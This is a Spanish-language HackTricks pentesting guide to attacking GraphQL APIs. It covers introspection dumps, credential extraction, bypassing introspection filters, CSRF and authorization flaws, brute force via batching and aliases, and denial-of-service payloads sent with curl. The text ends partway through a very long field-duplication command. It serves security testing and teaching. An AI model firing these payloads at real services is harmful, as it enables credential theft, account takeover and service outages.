GraphQL
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Introducción
GraphQL se destaca como una alternativa eficiente a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a distintos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria mediante una única solicitud. Esta simplificación beneficia significativamente a los desarrolladores al disminuir la complejidad de sus procesos de obtención de datos.
GraphQL y seguridad
Con la aparición de nuevas tecnologías, incluyendo GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que GraphQL no incluye mecanismos de autenticación por defecto. Es responsabilidad de los desarrolladores implementar dichas medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo importante de seguridad.
Ataques de fuerza bruta a directorios y GraphQL
Para identificar instancias expuestas de GraphQL, se recomienda incluir rutas específicas en los ataques de fuerza bruta a directorios. Estas rutas son:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Identificar instancias abiertas de GraphQL permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que soporta un esquema. Para más información sobre esto, consulte la documentación de GraphQL sobre introspection: GraphQL: A query language for APIs.
Fingerprint
La herramienta graphw00f es capaz de detectar qué motor de GraphQL se está usando en un servidor y luego imprime información útil para el auditor de seguridad.
Consultas universales
Para comprobar si una URL es un servicio GraphQL, se puede enviar una consulta universal, query{__typename}. Si la respuesta incluye {"data": {"__typename": "Query"}}, se confirma que la URL aloja un endpoint GraphQL. Este método se basa en el campo __typename de GraphQL, que revela el tipo del objeto consultado.
query{__typename}
Enumeración básica
Graphql suele soportar GET, POST (x-www-form-urlencoded) y POST (json). Aunque por seguridad se recomienda permitir solo json para prevenir ataques CSRF.
Introspección
Para usar la introspección para descubrir información del esquema, consulta el campo __schema. Este campo está disponible en el tipo raíz de todas las consultas.
query={__schema{types{name,fields{name}}}}
Con esta consulta encontrarás el nombre de todos los tipos que se están usando:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos.
.png)
Errores
Es interesante saber si los errores se van a mostrar, ya que contribuirán con información útil.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Enumerate Database Schema via Introspection
Tip
Si introspection está habilitada pero la consulta anterior no se ejecuta, intenta quitar las directivas
onOperation,onFragmentyonFieldde la estructura de la consulta.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Consulta de introspección inline:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
La última línea de código es una graphql query que volcará toda la meta-información del graphql (nombres de objetos, parámetros, tipos…)
.png)
Si la introspection está habilitada puedes usar GraphQL Voyager para ver en una GUI todas las opciones.
Consultas
Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos extraer algunos valores.
En la introspection puedes encontrar qué objeto puedes consultar directamente (porque no puedes consultar un objeto solo porque exista). En la imagen siguiente puedes ver que el “queryType” se llama “Query” y que uno de los campos del objeto “Query” es “flags”, que a su vez también es un tipo de objeto. Por lo tanto puedes consultar el objeto flags.

Nota que el tipo de la query “flags” es “Flags”, y este objeto se define como sigue:
.png)
Puedes ver que los objetos “Flags” están compuestos por name y value. Entonces puedes obtener todos los nombres y valores de las flags con la query:
query={flags{name, value}}
Ten en cuenta que si el objeto a consultar es un tipo primitivo como string como en el siguiente ejemplo
.png)
Puedes consultarlo simplemente con:
query = { hiddenFlags }
En otro ejemplo donde había 2 objetos dentro del tipo de objeto “Query”: “user” y “users”.
Si estos objetos no necesitan ningún argumento para buscar, podrías recuperar toda la información de ellos simplemente pidiendo los datos que quieres. En este ejemplo de Internet podrías extraer los nombres de usuario y contraseñas guardadas:
.png)
Sin embargo, en este ejemplo si intentas hacerlo obtienes este error:
.png)
Parece que de alguna manera buscará usando el argumento “uid” de tipo Int.
De todas formas, ya lo sabíamos: en la sección Basic Enumeration se propuso una consulta que nos mostraba toda la información necesaria: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Si miras la imagen que proporcioné cuando ejecuté esa consulta verás que “user” tenía el arg “uid” de tipo Int.
Entonces, realizando un ligero uid bruteforce encontré que en uid=1 se recuperaron un nombre de usuario y una contraseña:query={user(uid:1){user,password}}
.png)
Nota que descubrí que podía pedir los parámetros “user” y “password” porque si intento buscar algo que no existe (query={user(uid:1){noExists}}) obtengo este error:
.png)
Y durante la enumeration phase descubrí que el objeto “dbuser” tenía como fields “user” y “password.
Query string dump trick (thanks to @BinaryShadow_)
Si puedes buscar por un tipo string, como: query={theusers(description: ""){username,password}} y buscas una cadena vacía esto volcará todos los datos. (Nota: este ejemplo no está relacionado con el ejemplo de los tutoriales; para este caso supón que puedes buscar usando “theusers” por un field String llamado “description”).
Búsqueda
En esta configuración, una base de datos contiene persons y movies. Las persons se identifican por su email y name; las movies por su name y rating. Las persons pueden ser friends entre sí y también tener movies, indicando relaciones dentro de la base de datos.
Puedes buscar persons por el name y obtener sus emails:
{
searchPerson(name: "John Doe") {
email
}
}
Puedes buscar personas por el nombre y obtener sus películas suscritas:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Fíjate cómo se indica recuperar el name de los subscribedMovies de la persona.
También puedes buscar varios objetos al mismo tiempo. En este caso, se realiza la búsqueda de 2 películas:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
O incluso relaciones de varios objetos distintos usando alias:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutaciones
Las mutaciones se usan para realizar cambios en el lado del servidor.
En la introspección puedes encontrar las mutations declaradas. En la imagen siguiente el “MutationType” se llama “Mutation” y el objeto “Mutation” contiene los nombres de las mutations (como “addPerson” en este caso):
.png)
En esta configuración, una base de datos contiene personas y películas. Personas están identificadas por su email y name; películas por su name y rating. Personas pueden ser amigos entre sí y también tener películas, indicando relaciones dentro de la base de datos.
Una mutation para crear nuevas películas dentro de la base de datos puede ser como la siguiente (en este ejemplo la mutation se llama addMovie):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Observa cómo tanto los valores como el tipo de datos se indican en la consulta.
Además, la base de datos soporta una operación de mutation, llamada addPerson, que permite la creación de personas junto con sus asociaciones a amigos y películas existentes. Es crucial tener en cuenta que los amigos y las películas deben preexistir en la base de datos antes de vincularlos con la persona recién creada.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
Como se explica en one of the vulns described in this report, una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible un DoS.
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
La autenticación a través de una API GraphQL con el envío simultáneo de muchas queries con credenciales diferentes para comprobarlas. Es un clásico brute force attack, pero ahora es posible enviar más de un par login/password por petición HTTP gracias a la característica de GraphQL batching. Este enfoque engañaría a las aplicaciones externas de rate monitoring haciéndoles creer que todo está bien y que no hay un bot brute-forcing intentando adivinar contraseñas.
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
Como se aprecia en la captura de la respuesta, la primera y la tercera requests devolvieron null y reflejaron la información correspondiente en la sección error. La second mutation had the correct authentication data y la respuesta contiene el token de sesión de autenticación correcto.
 (1).png)
GraphQL Without Introspection
Cada vez más endpoints GraphQL están deshabilitando la introspection. Sin embargo, los errores que GraphQL lanza cuando se recibe una request inesperada son suficientes para que herramientas como clairvoyance reconstruyan la mayor parte del schema.
Además, la extensión de Burp Suite GraphQuail observa las requests de GraphQL que pasan por Burp y construye un GraphQL schema interno con cada nueva query que ve. También puede exponer el schema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una introspection query. Como resultado, GraphQuail muestra todas las queries, argumentos y campos disponibles para usar dentro de la API. For more info check this.
Una buena wordlist para descubrir GraphQL entities can be found here.
Bypassing GraphQL introspection defences
Para evadir las restricciones sobre introspection queries en APIs, insertar un carácter especial después de la palabra clave __schema resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones regex que intentan bloquear la introspection centrándose en la palabra __schema. Al añadir caracteres como espacios, saltos de línea y comas, que GraphQL ignora pero que podrían no estar contemplados en el regex, se pueden eludir las restricciones. Por ejemplo, una introspection query con un salto de línea después de __schema puede pasar por alto dichas defensas:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Si no tiene éxito, considere métodos de solicitud alternativos, como GET requests o POST with x-www-form-urlencoded, ya que las restricciones pueden aplicarse solo a las solicitudes POST.
Pruebe WebSockets
Como se menciona en this talk, compruebe si es posible conectarse a graphQL vía WebSockets, ya que eso podría permitirle evadir un posible WAF y hacer que la comunicación WebSocket leak el esquema de graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Descubriendo Estructuras GraphQL Expuestas
Cuando la introspection está deshabilitada, examinar el código fuente del sitio web en busca de consultas pre-cargadas en librerías JavaScript es una estrategia útil. Estas consultas se pueden encontrar usando la pestaña Sources en las herramientas de desarrollo, lo que proporciona información sobre el esquema de la API y revela potencialmente consultas sensibles expuestas. Los comandos para buscar dentro de las herramientas de desarrollo son:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
Cuando la introspección está bloqueada, InQL v6.1+ ahora puede reconstruir el esquema alcanzable exclusivamente a partir de la retroalimentación de errores. El nuevo schema bruteforcer agrupa nombres candidatos de campos/argumentos desde una wordlist configurable y los envía en operaciones multi-field para reducir el tráfico HTTP. Los patrones de error útiles se extraen automáticamente:
Field 'bugs' not found on type 'inql'confirma la existencia del tipo padre mientras descarta nombres de campo inválidos.Argument 'contribution' is requiredmuestra que un argumento es obligatorio y expone su ortografía.- Sugerencias como
Did you mean 'openPR'?se reintroducen en la cola como candidatos validados. - Al enviar intencionadamente valores con el primitivo equivocado (por ejemplo, integers para strings), el bruteforcer provoca errores de incompatibilidad de tipo que leak la firma real del tipo, incluyendo list/object wrappers como
[Episode!].
El bruteforcer sigue recursando sobre cualquier tipo que genere nuevos campos, por lo que una wordlist que mezcle nombres genéricos de GraphQL con conjeturas específicas de la aplicación eventualmente mapeará grandes secciones del esquema sin introspección. El tiempo de ejecución está limitado principalmente por rate limiting y el volumen de candidatos, por lo que afinar las opciones de InQL (wordlist, batch size, throttling, retries) es crítico para compromisos más sigilosos.
En la misma versión, InQL incluye un GraphQL engine fingerprinter (tomando firmas de herramientas como graphw00f). El módulo despacha directivas/queries deliberadamente inválidas y clasifica el backend comparando el texto exacto del error. Por ejemplo:
query @deprecated {
__typename
}
- Apollo responde con
Directive "@deprecated" may not be used on QUERY. - GraphQL Ruby responde
'@deprecated' can't be applied to queries.
Una vez que se reconoce un engine, InQL muestra la entrada correspondiente del GraphQL Threat Matrix, ayudando a los testers a priorizar las debilidades que vienen con esa familia de servidores (comportamiento de introspección por defecto, límites de profundidad, brechas de CSRF, cargas de archivos, etc.).
Finalmente, generación automática de variables elimina un bloqueo clásico al pivotar hacia Burp Repeater/Intruder. Siempre que una operación requiere un JSON de variables, InQL ahora inyecta valores predeterminados sensatos para que la solicitud pase la validación del esquema en el primer envío:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Los objetos de entrada anidados heredan el mismo mapeo, por lo que obtienes de inmediato un payload sintácticamente y semánticamente válido que puede ser fuzzed para SQLi/NoSQLi/SSRF/logic bypasses sin necesidad de reverse-engineering manual de cada argumento.
CSRF en GraphQL
Si no sabes qué es CSRF, lee la siguiente página:
CSRF (Cross Site Request Forgery)
Ahí podrás encontrar varios GraphQL endpoints configurados sin CSRF tokens.
Ten en cuenta que las solicitudes GraphQL suelen enviarse mediante POST requests usando el Content-Type application/json.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Sin embargo, la mayoría de los endpoints GraphQL también soportan form-urlencoded POST requests:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Por lo tanto, dado que las peticiones CSRF como las anteriores se envían sin preflight requests, es posible realizar cambios en GraphQL abusando de un CSRF.
Sin embargo, tenga en cuenta que el nuevo valor por defecto de la cookie del flag samesite en Chrome es Lax. Esto significa que la cookie solo se enviará desde un sitio tercero en peticiones GET.
Tenga en cuenta que normalmente es posible enviar la query request también como una GET request y el CSRF token podría no ser validado en una GET request.
Además, abusar de un XS-Search attack podría permitir exfiltrar contenido desde el endpoint de GraphQL abusando de las credenciales del usuario.
Para más información consulta el original post here.
Cross-site WebSocket hijacking in GraphQL
De manera similar a las vulnerabilidades CRSF que abusan de GraphQL, también es posible llevar a cabo un Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies y hacer que un usuario realice acciones inesperadas en GraphQL.
Para más información consulta:
Autorización en GraphQL
Muchas funciones de GraphQL definidas en el endpoint podrían comprobar solo la autenticación del solicitante pero no la autorización.
Modificar variables de entrada de la query podría dar lugar a detalles sensibles de la cuenta leaked.
Mutation podría incluso llevar a un account takeover intentando modificar datos de otras cuentas.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Evasión de autorización en GraphQL
Chaining queries juntos pueden eludir un sistema de autenticación débil.
En el ejemplo siguiente puedes ver que la operación es “forgotPassword” y que debería ejecutar únicamente la consulta forgotPassword asociada. Esto puede eludirse añadiendo una consulta al final; en este caso añadimos “register” y una variable user para que el sistema se registre como un nuevo usuario.
Eludir límites de tasa usando aliases en GraphQL
En GraphQL, los aliases son una característica poderosa que permiten el nombrado explícito de propiedades al realizar una solicitud a la API. Esta capacidad es especialmente útil para recuperar múltiples instancias del mismo tipo de objeto dentro de una sola solicitud. Los aliases pueden emplearse para superar la limitación que impide que los objetos GraphQL tengan múltiples propiedades con el mismo nombre.
Para una comprensión detallada de los aliases en GraphQL, se recomienda el siguiente recurso: Aliases.
Aunque el propósito principal de los aliases es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado en el que los aliases pueden aprovecharse para ejecutar brute force attacks contra un endpoint GraphQL. Esto es posible porque algunos endpoints están protegidos por limitadores de tasa diseñados para frustrar los brute force attacks restringiendo el número de solicitudes HTTP. Sin embargo, estos limitadores de tasa podrían no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los aliases permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de tasa.
Considere el ejemplo proporcionado a continuación, que ilustra cómo las consultas con alias pueden usarse para verificar la validez de códigos de descuento de una tienda. Este método podría evadir la limitación de tasa ya que compila varias consultas en una única solicitud HTTP, permitiendo potencialmente la verificación simultánea de numerosos códigos de descuento.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS en GraphQL
Alias Overloading
Alias Overloading es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, provocando que el resolver del backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, conduciendo a un Denial of Service (DoS). Por ejemplo, en la consulta a continuación, el mismo campo (expensiveField) se solicita 1,000 veces usando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando CPU o memoria:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Para mitigar esto, implemente límites en el número de alias, análisis de complejidad de consultas o rate limiting para evitar el abuso de recursos.
Array-based Query Batching
Array-based Query Batching es una vulnerabilidad donde una GraphQL API permite agrupar múltiples consultas en una sola petición, lo que posibilita que un atacante envíe un gran número de consultas simultáneamente. Esto puede sobrecargar el backend al ejecutar todas las consultas agrupadas en paralelo, consumiendo recursos en exceso (CPU, memoria, conexiones a la base de datos) y potencialmente provocando un Denial of Service (DoS). Si no existe un límite en el número de consultas por lote, un atacante puede explotar esto para degradar la disponibilidad del servicio.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
En este ejemplo, 10 consultas diferentes se agrupan en una sola solicitud, obligando al servidor a ejecutar todas ellas simultáneamente. Si se explota con un tamaño de lote mayor o con consultas computacionalmente costosas, puede sobrecargar al servidor.
Directive Overloading Vulnerabilidad
Directive Overloading ocurre cuando un servidor GraphQL permite consultas con directivas excesivas y duplicadas. Esto puede abrumar al analizador y al ejecutor del servidor, especialmente si el servidor procesa repetidamente la misma lógica de la directiva. Sin validación o límites adecuados, un atacante puede explotar esto creando una consulta con numerosas directivas duplicadas para desencadenar un alto uso computacional o de memoria, llevando a Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Tenga en cuenta que en el ejemplo anterior @aa es una directiva personalizada que podría no estar declarada. Una directiva común que suele existir es @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
También puedes enviar una consulta de introspección para descubrir todas las directivas declaradas:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Y luego usa algunos de los personalizados.
Field Duplication Vulnerability
Field Duplication es una vulnerabilidad en la que un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de forma redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, provocando una alta carga y potencialmente derivando en un Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 